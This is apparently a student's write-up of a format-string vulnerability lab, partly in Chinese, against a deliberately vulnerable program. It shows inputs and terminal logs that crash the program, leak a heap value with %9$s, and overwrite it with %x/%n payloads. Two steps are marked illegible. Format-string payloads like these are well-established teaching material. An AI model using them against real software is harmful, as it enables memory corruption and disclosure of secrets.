

## lab 2.4

## goal

your goal is to achieve the followings (not necessarily at the same time):

- Crash the program named "vul\_prog.c".
- Print out the secret[1] value.
- Modify the secret[1] value.
- Modify the secret[1] value to a pre-determined value.

## steps

1. Crash the program named "vul prog.c".

输入多个%s即可

```
(base) vipuser@ubuntu1804:~/lab2.4$ ./vul_prg1
The variable secret's address is 0xff92a3e0 (on stack)
The variable secret's value is 0x577dc160 (on heap)
secret[0]'s address is 0x577dc160 (on heap)
secret[1]'s address is 0x577dc164 (on heap)
Please enter a decimal integer
%%%%%%%%%
Please enter a string
Segmentation fault (core dumped)
(base) vipuser@ubuntu1804:~/lab2.4$
```

2. Print out the `secret[1]` value.

通过输入AAAA-%X-%X-%X...我们可以依次打印出栈中的值,我们可以发现,之前输入的user\_input在第九个的位置,由此,我们可以通过%9\$s读取这个地址处的数据,我们只需要将user\_input设置为secret[1]的地址即可

[illegible]

3. Modify the `secret[1]` value.

使用%n可以修改当前地址处的值为输出字符的数字,%x%x%x%x%x%x%x%x%x%n可以把secret[1]的值修改为0x40

```
(base) vipuser@ubuntu1804:~/lab2.4$ ./vul_prg1
The variable secret's address is 0xffa395f0 (on stack)
The variable secret's value is 0x56b9c160 (on heap)
secret[0]'s address is 0x56b9c160 (on heap)
secret[1]'s address is 0x56b9c164 (on heap)
Please enter a decimal integer
1455014244
Please enter a string
%x%x%x%x%x%x%x%x%n
ffa395f8ffa3961a5657b674ffa3961af7f37984f7f37988ffa3971456b9c160
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x40
(base) vipuser@ubuntu1804:~/lab2.4$
```

4. Modify the `secret[1]` value to a pre-determined value.

我们可以在`%x%x%x%x%x%x%x%x`后添加任意长度的输出以控制`secret[1]`的值,举例而言,在`%x%x%x%x%x%x%x%x`后添加十六个输出就可以使得`secret[1]`的值为`0x50`

[illegible]